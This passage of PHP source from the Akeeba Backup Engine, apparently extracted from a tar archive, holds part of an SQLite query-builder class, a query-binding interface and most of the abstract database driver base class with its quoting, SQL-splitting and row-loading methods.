 */

namespace Akeeba\Engine\Driver\Query;

defined('AKEEBAENGINE') || die();

use PDO;
use stdClass;

/**
 * SQLite Query Building Class.
 *
 * @since  1.0
 */
class Sqlite extends Base implements Preparable, Limitable
{
	/**
	 * The limit for the result set.
	 *
	 * @var    integer
	 * @since  1.0
	 */
	protected $limit;

	/**
	 * The offset for the result set.
	 *
	 * @var    integer
	 * @since  1.0
	 */
	protected $offset;

	/**
	 * Holds key / value pair of bound objects.
	 *
	 * @var    mixed
	 * @since  1.0
	 */
	protected $bounded = [];

	/**
	 * Method to add a variable to an internal array that will be bound to a prepared SQL statement before query execution. Also
	 * removes a variable that has been bounded from the internal bounded array when the passed in value is null.
	 *
	 * @param   string|integer   $key            The key that will be used in your SQL query to reference the value. Usually of
	 *                                           the form ':key', but can also be an integer.
	 * @param   mixed           &$value          The value that will be bound. The value is passed by reference to support output
	 *                                           parameters such as those possible with stored procedures.
	 * @param   integer          $dataType       Constant corresponding to a SQL datatype.
	 * @param   integer          $length         The length of the variable. Usually required for OUTPUT parameters.
	 * @param   array            $driverOptions  Optional driver options to be used.
	 *
	 * @return  Sqlite  Returns this object to allow chaining.
	 *
	 * @since   1.0
	 */
	public function bind($key = null, &$value = null, $dataType = PDO::PARAM_STR, $length = 0, $driverOptions = [])
	{
		// Case 1: Empty Key (reset $bounded array)
		if (empty($key))
		{
			$this->bounded = [];

			return $this;
		}

		// Case 2: Key Provided, null value (unset key from $bounded array)
		if (is_null($value))
		{
			if (isset($this->bounded[$key]))
			{
				unset($this->bounded[$key]);
			}

			return $this;
		}

		$obj = new stdClass;

		$obj->value         = &$value;
		$obj->dataType      = $dataType;
		$obj->length        = $length;
		$obj->driverOptions = $driverOptions;

		// Case 3: Simply add the Key/Value into the bounded array
		$this->bounded[$key] = $obj;

		return $this;
	}

	/**
	 * Retrieves the bound parameters array when key is null and returns it by reference. If a key is provided then that item is
	 * returned.
	 *
	 * @param   mixed  $key  The bounded variable key to retrieve.
	 *
	 * @return  mixed
	 *
	 * @since   1.0
	 */
	public function &getBounded($key = null)
	{
		if (empty($key))
		{
			return $this->bounded;
		}
		else
		{
			if (isset($this->bounded[$key]))
			{
				return $this->bounded[$key];
			}
		}
	}

	/**
	 * Gets the number of characters in a string.
	 *
	 * Note, use 'length' to find the number of bytes in a string.
	 *
	 * Usage:
	 * $query->select($query->charLength('a'));
	 *
	 * @param   string  $field      A value.
	 * @param   string  $operator   Comparison operator between charLength integer value and $condition
	 * @param   string  $condition  Integer value to compare charLength with.
	 *
	 * @return  string  The required char length call.
	 *
	 * @since   1.1.0
	 */
	public function charLength($field, $operator = null, $condition = null)
	{
		return 'length(' . $field . ')' . (isset($operator) && isset($condition) ? ' ' . $operator . ' ' . $condition : '');
	}

	/**
	 * Clear data from the query or a specific clause of the query.
	 *
	 * @param   string  $clause  Optionally, the name of the clause to clear, or nothing to clear the whole query.
	 *
	 * @return  Sqlite  Returns this object to allow chaining.
	 *
	 * @since   1.0
	 */
	public function clear($clause = null)
	{
		switch ($clause)
		{
			case null:
				$this->bounded = [];
				break;
		}

		return parent::clear($clause);
	}

	/**
	 * Concatenates an array of column names or values.
	 *
	 * Usage:
	 * $query->select($query->concatenate(array('a', 'b')));
	 *
	 * @param   array   $values     An array of values to concatenate.
	 * @param   string  $separator  As separator to place between each value.
	 *
	 * @return  string  The concatenated values.
	 *
	 * @since   1.1.0
	 */
	public function concatenate($values, $separator = null)
	{
		if ($separator)
		{
			return implode(' || ' . $this->quote($separator) . ' || ', $values);
		}
		else
		{
			return implode(' || ', $values);
		}
	}

	/**
	 * Method to modify a query already in string format with the needed
	 * additions to make the query limited to a particular number of
	 * results, or start at a particular offset. This method is used
	 * automatically by the __toString() method if it detects that the
	 * query implements the LimitableInterface.
	 *
	 * @param   string   $query   The query in string format
	 * @param   integer  $limit   The limit for the result set
	 * @param   integer  $offset  The offset for the result set
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	public function processLimit($query, $limit, $offset = 0)
	{
		if ($limit > 0 || $offset > 0)
		{
			$query .= ' LIMIT ' . $offset . ', ' . $limit;
		}

		return $query;
	}

	/**
	 * Sets the offset and limit for the result set, if the database driver supports it.
	 *
	 * Usage:
	 * $query->setLimit(100, 0); (retrieve 100 rows, starting at first record)
	 * $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th record)
	 *
	 * @param   integer  $limit   The limit for the result set
	 * @param   integer  $offset  The offset for the result set
	 *
	 * @return  Sqlite  Returns this object to allow chaining.
	 *
	 * @since   1.0
	 */
	public function setLimit($limit = 0, $offset = 0)
	{
		$this->limit  = (int) $limit;
		$this->offset = (int) $offset;

		return $this;
	}
}
com_akeeba/BackupEngine/Driver/Query/Preparable.php000060400000005067152455305260016306 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver\Query;

defined('AKEEBAENGINE') || die();

use PDO;

/**
 * Database Query Preparable Interface.
 *
 * Adds bind/unbind methods as well as a getBounded() method
 * to retrieve the stored bounded variables on demand prior to
 * query execution.
 *
 * @since  1.0
 *
 * @codeCoverageIgnore
 */
interface Preparable
{
	/**
	 * Method to add a variable to an internal array that will be bound to a prepared SQL statement before query execution. Also
	 * removes a variable that has been bounded from the internal bounded array when the passed in value is null.
	 *
	 * @param   string|integer   $key            The key that will be used in your SQL query to reference the value. Usually of
	 *                                           the form ':key', but can also be an integer.
	 * @param   mixed           &$value          The value that will be bound. The value is passed by reference to support output
	 *                                           parameters such as those possible with stored procedures.
	 * @param   integer          $dataType       Constant corresponding to a SQL datatype.
	 * @param   integer          $length         The length of the variable. Usually required for OUTPUT parameters.
	 * @param   array            $driverOptions  Optional driver options to be used.
	 *
	 * @return  Preparable
	 *
	 * @since   1.0
	 */
	public function bind($key = null, &$value = null, $dataType = PDO::PARAM_STR, $length = 0, $driverOptions = []);

	/**
	 * Retrieves the bound parameters array when key is null and returns it by reference. If a key is provided then that item is
	 * returned.
	 *
	 * @param   mixed  $key  The bounded variable key to retrieve.
	 *
	 * @return  mixed
	 *
	 * @since   1.0
	 */
	public function &getBounded($key = null);
}
com_akeeba/BackupEngine/Driver/Base.php000060400000115134152455305260013773 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Query\Base as QueryBase;
use RuntimeException;

/**
 * Database driver superclass. Used as the base of all Akeeba Engine database drivers.
 * Strongly based on Joomla Platform's JDatabase class.
 *
 * @method qn(string $name, string $as = null)  Alias for quoteName
 * @method q(string $text, bool $escape = true)  Alias for quote
 */
#[\AllowDynamicProperties]
abstract class Base
{
	/** @var    string  The minimum supported database version. */
	protected static $dbMinimum;

	/** @var    array  JDatabaseDriver instances container. */
	protected static $instances = [];

	/** @var string The name of the database driver. */
	public $name;

	/** @var string The name of the database. */
	protected $_database;

	/** @var resource The db connection resource */
	protected $connection = '';

	/** @var    integer  The number of SQL statements executed by the database driver. */
	protected $count = 0;

	/** @var resource The database connection cursor from the last query. */
	protected $cursor;

	/** @var    boolean  The database driver debugging state. */
	protected $debug = false;

	/** @var string Driver type. This should always be mysql as we don't support anything else anymore. */
	protected $driverType = '';

	/** @var string The db server's error string */
	protected $errorMsg = '';

	/** @var int The db server's error number */
	protected $errorNum = 0;

	/** @var int Query's limit */
	protected $limit = 0;

	/** @var    array  The log of executed SQL statements by the database driver. */
	protected $log = [];

	/** @var string Quote for named objects */
	protected $nameQuote = '';

	/** @var string  The null or zero representation of a timestamp for the database driver. */
	protected $nullDate;

	/** @var int Query's offset */
	protected $offset = 0;

	/** @var    array  Passed in upon instantiation and saved. */
	protected $options;

	/** @var mixed The SQL query string */
	protected $sql = '';

	/** @var string The prefix used in the database, if any */
	protected $tablePrefix = '';

	/** @var bool Support for UTF-8 */
	protected $utf = true;

	/**
	 * Database object constructor
	 *
	 * @param   array  $options  List of options used to configure the connection
	 */
	public function __construct($options)
	{
		$prefix     = array_key_exists('prefix', $options) ? $options['prefix'] : '';
		$database   = array_key_exists('database', $options) ? $options['database'] : '';
		$connection = array_key_exists('connection', $options) ? $options['connection'] : null;

		$this->tablePrefix = $prefix;
		$this->_database   = $database;
		$this->connection  = $connection;
		$this->errorNum    = 0;
		$this->count       = 0;
		$this->log         = [];
		$this->options     = $options;
	}

	/**
	 * Is this driver class supported on this server? Child classes are supposed to override this and perform a
	 * compatibility check.
	 *
	 * @return  bool  True if the driver class is supported on the server
	 */
	public static function isSupported()
	{
		return false;
	}

	/**
	 * Splits a string of multiple queries into an array of individual queries.
	 *
	 * @param   string  $query  Input SQL string with which to split into individual queries.
	 *
	 * @return  array  The queries from the input string separated into an array.
	 */
	public static function splitSql($query)
	{
		$start   = 0;
		$open    = false;
		$char    = '';
		$end     = strlen($query);
		$queries = [];

		for ($i = 0; $i < $end; $i++)
		{
			$current = substr($query, $i, 1);
			if (($current == '"' || $current == '\''))
			{
				$n = 2;

				while (substr($query, $i - $n + 1, 1) == '\\' && $n < $i)
				{
					$n++;
				}

				if ($n % 2 == 0)
				{
					if ($open)
					{
						if ($current == $char)
						{
							$open = false;
							$char = '';
						}
					}
					else
					{
						$open = true;
						$char = $current;
					}
				}
			}

			if (($current == ';' && !$open) || $i == $end - 1)
			{
				$queries[] = substr($query, $start, ($i - $start + 1));
				$start     = $i + 1;
			}
		}

		return $queries;
	}

	/**
	 * Is this driver supported under the current system configuration?
	 *
	 * @return bool
	 */
	public static function test()
	{
		return self::isSupported();
	}

	/**
	 * Magic method to provide method alias support for quote() and quoteName().
	 *
	 * @param   string  $method  The called method.
	 * @param   array   $args    The array of arguments passed to the method.
	 *
	 * @return  string  The aliased method's return value or null.
	 */
	public function __call($method, $args)
	{
		if (empty($args))
		{
			return null;
		}

		switch ($method)
		{
			case 'q':
				return $this->quote($args[0], $args[1] ?? true);
				break;
			case 'nq':
			case 'qn':
				return $this->quoteName($args[0]);
				break;
		}

		return null;
	}

	/**
	 * Database object destructor
	 *
	 * @return bool
	 */
	public function __destruct()
	{
		return $this->close();
	}

	public function __wakeup()
	{
		$this->open();
	}

	/**
	 * By default, when the object is shutting down, the connection is closed
	 */
	public function _onSerialize()
	{
		$this->close();
	}

	/**
	 * Alter database's character set, obtaining query string from protected member.
	 *
	 * @param   string  $dbName  The database name that will be altered
	 *
	 * @return  string  The query that alter the database query string
	 *
	 * @throws  RuntimeException
	 */
	public function alterDbCharacterSet($dbName)
	{
		if (is_null($dbName))
		{
			throw new RuntimeException('Database name must not be null.');
		}

		$this->setQuery($this->getAlterDbCharacterSet($dbName));

		return $this->execute();
	}

	/**
	 * Closes the database connection
	 */
	abstract public function close();

	/**
	 * Determines if the connection to the server is active.
	 *
	 * @return  boolean  True if connected to the database engine.
	 */
	abstract public function connected();

	/**
	 * Create a new database using information from $options object, obtaining query string
	 * from protected member.
	 *
	 * @param   object   $options         Object used to pass user and database name to database driver.
	 *                                    This object must have "db_name" and "db_user" set.
	 * @param   boolean  $utf             True if the database supports the UTF-8 character set.
	 *
	 * @return  string  The query that creates database
	 *
	 * @throws  RuntimeException
	 */
	public function createDatabase($options, $utf = true)
	{
		if (is_null($options))
		{
			throw new RuntimeException('$options object must not be null.');
		}
		elseif (empty($options->db_name))
		{
			throw new RuntimeException('$options object must have db_name set.');
		}
		elseif (empty($options->db_user))
		{
			throw new RuntimeException('$options object must have db_user set.');
		}

		$this->setQuery($this->getCreateDatabaseQuery($options, $utf));

		return $this->execute();
	}

	/**
	 * Drops a table from the database.
	 *
	 * @param   string   $table     The name of the database table to drop.
	 * @param   boolean  $ifExists  Optionally specify that the table must exist before it is dropped.
	 *
	 * @return  Base  Returns this object to support chaining.
	 */
	public abstract function dropTable($table, $ifExists = true);

	/**
	 * Method to escape a string for usage in an SQL statement.
	 *
	 * @param   string   $text   The string to be escaped.
	 * @param   boolean  $extra  Optional parameter to provide extra escaping.
	 *
	 * @return  string   The escaped string.
	 */
	abstract public function escape($text, $extra = false);

	/**
	 * An alias for query()
	 *
	 * @return  mixed  A database cursor resource on success, boolean false on failure.
	 */
	public function execute()
	{
		return $this->query();
	}

	/**
	 * Method to fetch a row from the result set cursor as an associative array.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  mixed  Either the next row from the result set or false if there are no more rows.
	 */
	abstract public function fetchAssoc($cursor = null);

	/**
	 * Method to free up the memory used for the result set.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  void
	 */
	abstract public function freeResult($cursor = null);

	/**
	 * Returns the abstracted name of a database object
	 *
	 * @param   string  $tableName
	 *
	 * @return  string
	 */
	public function getAbstract($tableName)
	{
		$prefix = $this->getPrefix();

		// Don't return abstract names for non-CMS tables
		if (is_null($prefix))
		{
			return $tableName;
		}

		switch ($prefix)
		{
			case '':
				// This is more of a hack; it assumes all tables are CMS tables if the prefix is empty.
				return '#__' . $tableName;
				break;

			default:
				// Normal behaviour for 99% of sites
				$tableAbstract = $tableName;
				if (!empty($prefix))
				{
					if (substr($tableName, 0, strlen($prefix)) == $prefix)
					{
						$tableAbstract = '#__' . substr($tableName, strlen($prefix));
					}
					else
					{
						$tableAbstract = $tableName;
					}
				}

				return $tableAbstract;
				break;
		}
	}

	/**
	 * Get the number of affected rows for the previous executed SQL statement.
	 *
	 * @return  integer  The number of affected rows.
	 */
	abstract public function getAffectedRows();

	/**
	 * Method to get the database collation in use by sampling a text field of a table in the database.
	 *
	 * @return  mixed  The collation in use by the database or boolean false if not supported.
	 */
	abstract public function getCollation();

	/**
	 * Method that provides access to the underlying database connection.
	 *
	 * @return  resource  The underlying database connection resource.
	 */
	public function getConnection()
	{
		return $this->connection;
	}

	/**
	 * Inherits the connection of another database driver. Useful for cloning
	 * the CMS database connection into an Akeeba Engine database driver.
	 *
	 * @param   resource  $connection
	 */
	public function setConnection($connection)
	{
		$this->connection = $connection;
	}

	/**
	 * Get the total number of SQL statements executed by the database driver.
	 *
	 * @return  integer
	 *
	 * @since   11.1
	 */
	public function getCount()
	{
		return $this->count;
	}

	/**
	 * Returns a PHP date() function compliant date format for the database driver.
	 *
	 * @return  string  The format string.
	 */
	public function getDateFormat()
	{
		return 'Y-m-d H:i:s';
	}

	/**
	 * Return the database driver type, e.g. "mysql" for all drivers which can talk to MySQL
	 *
	 * @return string
	 */
	public function getDriverType()
	{
		return $this->driverType;
	}

	/**
	 * Get the error message
	 *
	 * @return string The error message for the most recent query
	 */
	public function getErrorMsg($escaped = false)
	{
		if ($escaped)
		{
			return addslashes($this->errorMsg);
		}
		else
		{
			return $this->errorMsg;
		}
	}

	/**
	 * Get the error number
	 *
	 * @return int The error number for the most recent query
	 */
	public function getErrorNum()
	{
		return $this->errorNum;
	}

	/**
	 * Method to escape a string for usage in an SQL statement.
	 *
	 * @param   string   $text   The string to be escaped.
	 * @param   boolean  $extra  Optional parameter to provide extra escaping.
	 *
	 * @return  string  The escaped string.
	 */
	public function getEscaped($text, $extra = false)
	{
		return $this->escape($text, $extra);
	}

	/**
	 * Get the database driver SQL statement log.
	 *
	 * @return  array  SQL statements executed by the database driver.
	 *
	 * @since   11.1
	 */
	public function getLog()
	{
		return $this->log;
	}

	/**
	 * Get the minimum supported database version.
	 *
	 * @return  string  The minimum version number for the database driver.
	 *
	 * @since   12.1
	 */
	public function getMinimum()
	{
		return static::$dbMinimum;
	}

	/**
	 * Get the null or zero representation of a timestamp for the database driver.
	 *
	 * @return  string  Null or zero representation of a timestamp.
	 */
	public function getNullDate()
	{
		return $this->nullDate;
	}

	/**
	 * Get the number of returned rows for the previous executed SQL statement.
	 *
	 * @param   resource  $cursor  An optional database cursor resource to extract the row count from.
	 *
	 * @return  integer   The number of returned rows.
	 */
	abstract public function getNumRows($cursor = null);

	/**
	 * Get the database table prefix
	 *
	 * @return string The database prefix
	 */
	public function getPrefix()
	{
		return $this->tablePrefix;
	}

	/**
	 * Get the current query object or a new QueryBase object.
	 *
	 * @param   boolean  $new  False to return the current query object, True to return a new QueryBase object.
	 *
	 * @return  QueryBase  The current query object or a new object extending the QueryBase class.
	 */
	abstract public function getQuery($new = false);

	/**
	 * Create a new QueryBase object.
	 *
	 * @return  QueryBase  The current query object or a new object extending the QueryBase class.
	 */
	abstract public function createQuery();

	/**
	 * Retrieves field information about the given tables.
	 *
	 * @param   string   $table     The name of the database table.
	 * @param   boolean  $typeOnly  True (default) to only return field types.
	 *
	 * @return  array  An array of fields by table.
	 */
	abstract public function getTableColumns($table, $typeOnly = true);

	/**
	 * Shows the table CREATE statement that creates the given tables.
	 *
	 * @param   mixed  $tables  A table name or a list of table names.
	 *
	 * @return  array  A list of the create SQL for the tables.
	 */
	abstract public function getTableCreate($tables);

	/**
	 * Retrieves field information about the given tables.
	 *
	 * @param   mixed    $tables    A table name or a list of table names.
	 * @param   boolean  $typeOnly  True to only return field types.
	 *
	 * @return  array  An array of fields by table.
	 */
	public function getTableFields($tables, $typeOnly = true)
	{
		$results = [];

		$tables = (array) $tables;

		foreach ($tables as $table)
		{
			$results[$table] = $this->getTableColumns($table, $typeOnly);
		}

		return $results;
	}

	/**
	 * Retrieves field information about the given tables.
	 *
	 * @param   mixed  $tables  A table name or a list of table names.
	 *
	 * @return  array  An array of keys for the table(s).
	 */
	abstract public function getTableKeys($tables);

	/**
	 * Method to get an array of all tables in the database.
	 *
	 * @return  array  An array of all the tables in the database.
	 */
	abstract public function getTableList();

	/**
	 * Returns an array with the names of tables, views, procedures, functions and triggers
	 * in the database. The table names are the keys of the tables, whereas the value is
	 * the type of each element: table, view, merge, temp, procedure, function or trigger.
	 * Note that merge are MRG_MYISAM tables and temp is non-permanent data table, usually
	 * set up as temporary, black hole or federated tables. These two types should never,
	 * ever, have their data dumped in the SQL dump file.
	 *
	 * @param   bool  $abstract  Return abstract or normal names? Defaults to true (abstract names)
	 *
	 * @return  array
	 */
	abstract public function getTables($abstract = true);

	/**
	 * Determine whether or not the database engine supports UTF-8 character encoding.
	 *
	 * @return  boolean  True if the database engine supports UTF-8 character encoding.
	 */
	public function getUTFSupport()
	{
		return $this->utf;
	}

	/**
	 * Get the version of the database connector
	 *
	 * @return  string  The database connector version.
	 */
	abstract public function getVersion();

	/**
	 * Determines if the database engine supports UTF-8 character encoding.
	 *
	 * @return  boolean  True if supported.
	 */
	public function hasUTF()
	{
		return $this->utf;
	}

	/**
	 * Determine whether or not the database engine supports UTF-8 character encoding.
	 *
	 * @return  boolean  True if the database engine supports UTF-8 character encoding.
	 */
	public function hasUTFSupport()
	{
		return $this->utf;
	}

	/**
	 * Inserts a row into a table based on an object's properties.
	 *
	 * @param   string  $table   The name of the database table to insert into.
	 * @param   object &$object  A reference to an object whose public properties match the table fields.
	 * @param   string  $key     The name of the primary key. If provided the object property is updated.
	 *
	 * @return  boolean    True on success.
	 */
	public function insertObject($table, &$object, $key = null)
	{
		$fields = [];
		$values = [];

		// Iterate over the object variables to build the query fields and values.
		foreach (get_object_vars($object) as $k => $v)
		{
			// Only process non-null scalars.
			if (is_array($v) || is_object($v) || ($v === null))
			{
				continue;
			}

			// Ignore any internal fields.
			if ($k[0] == '_')
			{
				continue;
			}

			// Prepare and sanitize the fields and values for the database query.
			$fields[] = $this->quoteName($k);
			$values[] = $this->quote($v);
		}

		// Create the base insert statement.
		$query = $this->getQuery(true)
			->insert($this->quoteName($table))
			->columns($fields)
			->values(implode(',', $values));

		// Set the query and execute the insert.
		$this->setQuery($query);
		if (!$this->execute())
		{
			return false;
		}

		// Update the primary key if it exists.
		$id = $this->insertid();
		if ($key && $id && is_string($key))
		{
			$object->$key = $id;
		}

		return true;
	}

	/**
	 * Method to get the auto-incremented value from the last INSERT statement.
	 *
	 * @return  integer  The value of the auto-increment field from the last inserted row.
	 */
	abstract public function insertid();

	/**
	 * Method to check whether the installed database version is supported by the database driver
	 *
	 * @return  boolean  True if the database version is supported
	 *
	 * @since   12.1
	 */
	public function isMinimumVersion()
	{
		return version_compare($this->getVersion(), static::$dbMinimum) >= 0;
	}

	/**
	 * Method to get the first row of the result set from the database query as an associative array
	 * of ['field_name' => 'row_value'].
	 *
	 * @return  mixed  The return value or null if the query failed.
	 */
	public function loadAssoc()
	{
		$ret = null;

		// Execute the query and get the result set cursor.
		if (!($cursor = $this->execute()))
		{
			return null;
		}

		// Get the first row from the result set as an associative array.
		if ($array = $this->fetchAssoc($cursor))
		{
			$ret = $array;
		}

		// Free up system resources and return.
		$this->freeResult($cursor);

		return $ret;
	}

	/**
	 * Method to get an array of the result set rows from the database query where each row is an associative array
	 * of ['field_name' => 'row_value'].  The array of rows can optionally be keyed by a field name, but defaults to
	 * a sequential numeric array.
	 *
	 * NOTE: Chosing to key the result array by a non-unique field name can result in unwanted
	 * behavior and should be avoided.
	 *
	 * @param   string  $key     The name of a field on which to key the result array.
	 * @param   string  $column  An optional column name. Instead of the whole row, only this column value will be in
	 *                           the result array.
	 *
	 * @return  mixed   The return value or null if the query failed.
	 */
	public function loadAssocList($key = null, $column = null)
	{
		$array = [];

		// Execute the query and get the result set cursor.
		if (!($cursor = $this->execute()))
		{
			return null;
		}

		// Get all of the rows from the result set.
		while ($row = $this->fetchAssoc($cursor))
		{
			$value = ($column) ? ($row[$column] ?? $row) : $row;
			if ($key)
			{
				$array[$row[$key]] = $value;
			}
			else
			{
				$array[] = $value;
			}
		}

		// Free up system resources and return.
		$this->freeResult($cursor);

		return $array;
	}

	/**
	 * Method to get an array of values from the <var>$offset</var> field in each row of the result set from
	 * the database query.
	 *
	 * @param   integer  $offset  The row offset to use to build the result array.
	 *
	 * @return  mixed    The return value or null if the query failed.
	 */
	public function loadColumn($offset = 0)
	{
		$array = [];

		// Execute the query and get the result set cursor.
		if (!($cursor = $this->execute()))
		{
			return null;
		}

		// Get all of the rows from the result set as arrays.
		while ($row = $this->fetchArray($cursor))
		{
			$array[] = $row[$offset];
		}

		// Free up system resources and return.
		$this->freeResult($cursor);

		return $array;
	}

	/**
	 * Method to get the next row in the result set from the database query as an object.
	 *
	 * @param   string  $class  The class name to use for the returned row object.
	 *
	 * @return  mixed   The result of the query as an array, false if there are no more rows.
	 */
	public function loadNextObject($class = 'stdClass')
	{
		// Execute the query and get the result set cursor.
		if (is_null($this->cursor))
		{
			if (!($this->cursor = $this->execute()))
			{
				return $this->errorNum ? null : false;
			}
		}

		// Get the next row from the result set as an object of type $class.
		if ($row = $this->fetchObject($this->cursor, $class))
		{
			return $row;
		}

		// Free up system resources and return.
		$this->freeResult($this->cursor);
		$this->cursor = null;

		return false;
	}

	/**
	 * Method to get the next row in the result set from the database query as an array.
	 *
	 * @return  mixed  The result of the query as an array, false if there are no more rows.
	 */
	public function loadNextRow()
	{
		// Execute the query and get the result set cursor.
		if (is_null($this->cursor))
		{
			if (!($this->cursor = $this->execute()))
			{
				return $this->errorNum ? null : false;
			}
		}

		// Get the next row from the result set as an object of type $class.
		if ($row = $this->fetchArray($this->cursor))
		{
			return $row;
		}

		// Free up system resources and return.
		$this->freeResult($this->cursor);
		$this->cursor = null;

		return false;
	}

	/**
	 * Method to get the first row of the result set from the database query as an object.
	 *
	 * @param   string  $class  The class name to use for the returned row object.
	 *
	 * @return  mixed   The return value or null if the query failed.
	 */
	public function loadObject($class = 'stdClass')
	{
		$ret = null;

		// Execute the query and get the result set cursor.
		if (!($cursor = $this->execute()))
		{
			return null;
		}

		// Get the first row from the result set as an object of type $class.
		if ($object = $this->fetchObject($cursor, $class))
		{
			$ret = $object;
		}

		// Free up system resources and return.
		$this->freeResult($cursor);

		return $ret;
	}

	/**
	 * Method to get an array of the result set rows from the database query where each row is an object.  The array
	 * of objects can optionally be keyed by a field name, but defaults to a sequential numeric array.
	 *
	 * NOTE: Choosing to key the result array by a non-unique field name can result in unwanted
	 * behavior and should be avoided.
	 *
	 * @param   string  $key    The name of a field on which to key the result array.
	 * @param   string  $class  The class name to use for the returned row objects.
	 *
	 * @return  mixed   The return value or null if the query failed.
	 */
	public function loadObjectList($key = '', $class = 'stdClass')
	{
		$array = [];

		// Execute the query and get the result set cursor.
		if (!($cursor = $this->execute()))
		{
			return null;
		}

		// Get all of the rows from the result set as objects of type $class.
		while ($row = $this->fetchObject($cursor, $class))
		{
			if ($key)
			{
				$array[$row->$key] = $row;
			}
			else
			{
				$array[] = $row;
			}
		}

		// Free up system resources and return.
		$this->freeResult($cursor);

		return $array;
	}

	/**
	 * Method to get the first field of the first row of the result set from the database query.
	 *
	 * @return  mixed  The return value or null if the query failed.
	 */
	public function loadResult()
	{
		$ret = null;

		// Execute the query and get the result set cursor.
		if (!($cursor = $this->execute()))
		{
			return null;
		}

		// Get the first row from the result set as an array.
		if ($row = $this->fetchArray($cursor))
		{
			$ret = $row[0];
		}

		// Free up system resources and return.
		$this->freeResult($cursor);

		return $ret;
	}

	/**
	 * Method to get an array of values from the <var>$offset</var> field in each row of the result set from
	 * the database query.
	 *
	 * @param   integer  $offset  The row offset to use to build the result array.
	 *
	 * @return  mixed    The return value or null if the query failed.
	 */
	public function loadResultArray($offset = 0)
	{
		return $this->loadColumn($offset);
	}

	/**
	 * Method to get the first row of the result set from the database query as an array.  Columns are indexed
	 * numerically so the first column in the result set would be accessible via <var>$row[0]</var>, etc.
	 *
	 * @return  mixed  The return value or null if the query failed.
	 */
	public function loadRow()
	{
		$ret = null;

		// Execute the query and get the result set cursor.
		if (!($cursor = $this->execute()))
		{
			return null;
		}

		// Get the first row from the result set as an array.
		if ($row = $this->fetchArray($cursor))
		{
			$ret = $row;
		}

		// Free up system resources and return.
		$this->freeResult($cursor);

		return $ret;
	}

	/**
	 * Method to get an array of the result set rows from the database query where each row is an array.  The array
	 * of objects can optionally be keyed by a field offset, but defaults to a sequential numeric array.
	 *
	 * NOTE: Choosing to key the result array by a non-unique field can result in unwanted
	 * behavior and should be avoided.
	 *
	 * @param   string  $key  The name of a field on which to key the result array.
	 *
	 * @return  mixed   The return value or null if the query failed.
	 */
	public function loadRowList($key = null)
	{
		$array = [];

		// Execute the query and get the result set cursor.
		if (!($cursor = $this->execute()))
		{
			return null;
		}

		// Get all of the rows from the result set as arrays.
		while ($row = $this->fetchArray($cursor))
		{
			if ($key !== null)
			{
				$array[$row[$key]] = $row;
			}
			else
			{
				$array[] = $row;
			}
		}

		// Free up system resources and return.
		$this->freeResult($cursor);

		return $array;
	}

	/**
	 * Locks a table in the database.
	 *
	 * @param   string  $tableNameName  The name of the table to unlock.
	 *
	 * @return  Base  Returns this object to support chaining.
	 */
	public abstract function lockTable($tableNameName);

	/**
	 * Wrap an SQL statement identifier name such as column, table or database names in quotes to prevent injection
	 * risks and reserved word conflicts.
	 *
	 * @param   string  $name  The identifier name to wrap in quotes.
	 *
	 * @return  string  The quote wrapped name.
	 */
	public function nameQuote($name)
	{
		return $this->quoteName($name);
	}

	/**
	 * Opens a database connection. It MUST be overriden by children classes
	 *
	 * @return Base
	 */
	public function open()
	{
		// Don't try to reconnect if we're already connected
		if (is_resource($this->connection) && !is_null($this->connection))
		{
			return $this;
		}

		// Determine utf-8 support
		$this->utf = $this->hasUTF();

		// Set charactersets (needed for MySQL 4.1.2+)
		if ($this->utf)
		{
			$this->setUTF();
		}

		// Select the current database
		$this->select($this->_database);

		return $this;
	}

	/**
	 * Execute the SQL statement.
	 *
	 * @return  mixed  A database cursor resource on success, boolean false on failure.
	 */
	abstract public function query();

	/**
	 * Method to quote and optionally escape a string to database requirements for insertion into the database.
	 *
	 * @param   string   $text    The string to quote.
	 * @param   boolean  $escape  True (default) to escape the string, false to leave it unchanged.
	 */
	public function quote($text, $escape = true)
	{
		return '\'' . ($escape ? $this->escape($text) : $text) . '\'';
	}

	/**
	 * Wrap an SQL statement identifier name such as column, table or database names in quotes to prevent injection
	 * risks and reserved word conflicts.
	 *
	 * @param   mixed  $name      The identifier name to wrap in quotes, or an array of identifier names to wrap in
	 *                            quotes. Each type supports dot-notation name.
	 * @param   mixed  $as        The AS query part associated to $name. It can be string or array, in latter case it
	 *                            has to be same length of $name; if is null there will not be any AS part for string
	 *                            or array element.
	 */
	public function quoteName($name, $as = null)
	{
		if (!is_array($name))
		{
			$quotedName = $this->quoteNameStr(explode('.', $name));

			$quotedAs = '';
			if (!is_null($as))
			{
				$as       = (array) $as;
				$quotedAs .= ' AS ' . $this->quoteNameStr($as);
			}

			return $quotedName . $quotedAs;
		}
		else
		{
			$fin = [];

			if (is_null($as))
			{
				foreach ($name as $str)
				{
					$fin[] = $this->quoteName($str);
				}
			}
